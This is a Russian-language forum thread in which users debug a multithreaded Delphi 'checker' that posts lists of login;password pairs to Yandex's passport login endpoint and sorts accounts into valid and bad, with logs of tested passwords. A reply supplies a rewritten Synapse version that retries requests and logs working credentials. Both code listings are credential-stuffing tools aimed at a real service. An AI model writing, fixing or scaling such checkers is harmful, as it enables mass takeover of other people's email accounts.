Кто может обьяснить почему происходит то , что происходит у меня =)
Вот код потока
Код:
procedure TNewThread.Execute;
var CurAcc:integer;
data:Tstringlist;
HTTP: TIdHTTP;
begin
while Work do
begin
CS.Enter;
Inc(Acc);
if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
CS.Leave;
if Work then
begin
FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));
form1.memo1.lines.add('Скопировали аккаунты , создаем запрос');
data:=Tstringlist.create;
data.Add('login='+facc);
data.Add('passwd='+fpas);
HTTP:=TIdHTTP.create;
http.HandleRedirects:=true;
HTTP.CookieManager:=form1.IdCookieManager1;
Get:=http.post('http://pda-passport.yandex.ru/passport?mode=auth',data);
rez:=-1;
form1.memo1.lines.add('Выполнили запрос, REZ=-1'+' '+facc+';'+fpas);
if pos('Персональные данные',GET) <> 0 then
begin
rez:=1;
form1.memo1.lines.add('Зашли на почту , добавили валид');
end
else
begin
Rez:=-1;
form1.memo1.lines.add('Ошибка, Не валид');
end;
HTTP.Free;
data.Free;
Synchronize(Sync);
form1.memo1.lines.add('освободили , синхронизировали');
form1.memo1.lines.add(' ');
end;
end;
dec(Thread);
if Thread=0 then ShowMessage('OK');
form1.memo1.lines.add('Уничтожили потоки');
Если запускаем 1 поток - все хорошо и стабильно работает, а если 4-5 (и более соответственно) , то в Bad падает очень много валида...
Выписка из лога (При 5 потоках):
Код:
Скопировали аккаунты , создаем запрос
Скопировали аккаунты , создаем запрос
Скопировали аккаунты , создаем запрос
Скопировали аккаунты , создаем запрос
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];12345
Ошибка, Не валид
освободили , синхронизировали
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];210484
Ошибка, Не валид
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];19732002
освободили , синхронизировали
Ошибка, Не валид
Скопировали аккаунты , создаем запрос
освободили , синхронизировали
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];071161
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];180580
Зашли на почту , добавили валид
Зашли на почту , добавили валид
освободили , синхронизировали
освободили , синхронизировали
Скопировали аккаунты , создаем запрос
Уничтожили потоки
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];123454
Ошибка, Не валид
освободили , синхронизировали
Уничтожили потоки
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];071161
Ошибка, Не валид
освободили , синхронизировали
Уничтожили потоки
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];210484
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];123454
Зашли на почту , добавили валид
Ошибка, Не валид
освободили , синхронизировали
освободили , синхронизировали
Уничтожили потоки
А вот с 1го потока:
Код:
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];071161
Зашли на почту , добавили валид
освободили , синхронизировали
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];210484
Зашли на почту , добавили валид
освободили , синхронизировали
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];123454
Ошибка, Не валид
освободили , синхронизировали
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];12345
Ошибка, Не валид
освободили , синхронизировали
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];19732002
Зашли на почту , добавили валид
освободили , синхронизировали
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];180580
Зашли на почту , добавили валид
освободили , синхронизировали
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];071161
Зашли на почту , добавили валид
освободили , синхронизировали
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];210484
Зашли на почту , добавили валид
освободили , синхронизировали
Скопировали аккаунты , создаем запрос
Выполнили запрос, REZ=-1 [Ссылки могут видеть только зарегистрированные пользователи. ];123454
Ошибка, Не валид
освободили , синхронизировали
Уничтожили потоки
P.s пробывал зациклить, тоесть если бед то кидать в конец списка и прогонять еще раз... все получается но только НАСТОЯЩИЕ bad он продолжает крутить до бесконечности
Последний раз редактировалось =PaLeTiZaToR=; 11.10.2012 в 21:43.
Собственно как и обещал тебе, добавляю код на синапсе. Сам там порешишь куда тебе удобнее прочеканые акки складывать и сделаешь другие мелкие доработки. При таком построение кода должно быть всё нормально. Писал на коленке, так не исключены мелкие ошибки. Понеслась:
Код:
uses .... httpsend;
На кнопку запуска потоков незабываем:
Код:
work:=true;
Добавим свой поток и пару переменных(Logins содержит акки в виде логин;пароль и не забудем создать и подгрузить в него логины где нить):
Код:
potok = class(TThread)
private
login,pass:string;
protected
procedure Execute; override;
public
procedure add;
proedure graf(const text:string);
constructor Create(CreateSuspended: Boolean);
end;
var
logins,password:tstringlist;
work:boolean;
logins:tstringlist.create;
Собственно пошёл код:
Код:
constructor potok.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;
procedure potok.add;
begin
if work=true then
if logins[0]<>'' then begin
pass:=logins[0];
logins.delete(0);
login:=copy(pass,1,pos(';',pass)-1);
delete{pass,1,pos(';',pass));
end else begin
work:=false;
showmessage('Баста');
end;
end;
procedure potok.graf(const text:string);
begin
form1.log.lines.add(text);
end;
procedure potok.Execute;
var
list:=tstringlist;
stream:=tstringstream;
http:=thttpsend;
s,ss:string;
begin
http:=thttpsend.create;
list:=tstringlist.create;
stream:=tstringstream.create('');
while work=true do begin
login:='';pass:='';
synchronize(add);
repeat
http.headers.clear;
http.document.clear;
list.clear;
stream.clear;
stream.writestring('login='+login+'&passwd='+pass);
http.document.loadfromstream(stream);
until http.httpmethod('POST','http://pda-passport.yandex.ru/passport?mode=auth');
list.loadfromstream(http.document); s:=utf8decode(list.text);
if pos('Персональные данные', s) <> 0 then begin
synchronize(graf('Получите, распишитесь - '+login+';'+pass));
end else begin
synchronize(graf('По бороде пошёл '+login);
end;
end;
list.free;
stream.free;
http.free;
end;
Добавлено через 10 минут
По поводу твоего кода, я не могу понять, зачем каждый раз создавать и удалять стринглист, индейца и прочее.
Как я говорил ранее критические секции не стоит использовать.
К любым объектам формы обращаться ТОЛЬКО ЧЕРЕЗ synchronize!
Код:
dec(Thread);
Это полная фигня, опять же через синхронай надо уменьшать! Просто поток может загнуться и тогда эта надпись может вообще никогда не появится! Если и делать проверку, то нужно просто в массив добавлять при создание потоки. А потом проверять массив.
Последний раз редактировалось Tip.the.besT; 14.10.2012 в 19:56.
Причина: Добавлено сообщение